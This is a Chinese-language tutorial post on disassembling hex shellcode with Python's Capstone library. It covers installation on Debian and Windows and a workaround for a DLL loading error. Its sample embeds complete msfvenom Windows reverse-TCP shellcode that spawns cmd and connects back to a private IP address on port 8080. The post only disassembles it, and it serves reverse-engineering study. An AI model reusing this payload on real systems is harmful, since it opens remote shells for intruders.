1、介紹
需要多少行代碼轉換hex成反匯編呢?
多虧了Python的Capstone庫,做這件事只需要五行。
在二進制分析中,進行Exploit開發或逆向工程時,需要快速將十六進制的Shellcode反編譯成反匯編。你可以使用像OllyDbg或IDA Pro這樣的反編譯工具,但如果你不想使用一個成熟的反編譯工具執行這個小任務,那么下面的Python代碼將有助於你把Shellcode轉換成反匯編形式
如果你還沒有安裝capstone,那么你需要使用以下方法進行安裝:
2、安裝
2.1、基於Debian
使用以下命令下載並安裝。
Note:在kali Linux已經有了。
apt-get install python-capstone
2.2、基於Windows
windows需要下載以下的MSI文件后運行圖形化向導進行安裝:
32 bit
https://github.com/aquynh/capstone/releases/download/3.0.5-rc2/capstone-3.0.5-rc2-python-win32.msi
64 Bit
https://github.com/aquynh/capstone/releases/download/3.0.5-rc2/capstone-3.0.5-rc2-python-win64.msi
3、示例
這個例子是從msfvenom摘出來的反向TCP連接shellcode
#!/usr/bin/env python
from capstone import *
shellcode = ""
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68"
shellcode += "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68"
shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
代碼解釋:
md = Cs(CS_ARCH_X86, CS_MODE_32): 初始化類,給兩個參數(硬件架構和硬件模式)
for i in md.disasm(shellcode, 0x00): disasm 反匯編這段HEX, 它的參數是shellcode和起始地址。
print(“0x%x:\t%s\t%s” %(i.address, i.mnemonic, i.op_str)):打印地址和操作數。
4、結果
保存上述代碼並執行,下面的屏幕截圖顯示了用Python腳本輸出十六進制(shellcode)的匯編
圖:用簡單的Python腳本將HEX轉換成反匯編
5、實踐部分
我在安裝capstone的時候遇到了一個錯誤
錯誤信息如下:
Traceback (most recent call last):
File "sl.py", line 2, in <module>
from capstone import *
File "C:\Python27\lib\site-packages\capstone\__init__.py", line 249, in <module>
raise ImportError("ERROR: fail to load the dynamic library.")
ImportError: ERROR: fail to load the dynamic library.
一路往下Debug,最后發現是ctypes加載DLL的時候報錯了,不知道為何。
C:\Python27\Lib\site-packages\capstone\__init__.py
於是我手動把210行代碼lib路徑改成DLL的絕對路徑
_lib = "capstone.dll" # 修改前
_lib = "C:\\Python27\\lib\\site-packages\\capstone\\lib\\capstone.dll" # 修改后
修改后的代碼如下:
if sys.platform == 'darwin':
_lib = "libcapstone.dylib"
elif sys.platform in ('win32', 'cygwin'):
_lib = "C:\\Python27\\lib\\site-packages\\capstone\\lib\\capstone.dll"
else:
_lib = "libcapstone.so"
6、實踐運行后的結果
7、參考
https://haiderm.com/convert-hex-assembly-using-simple-python-script/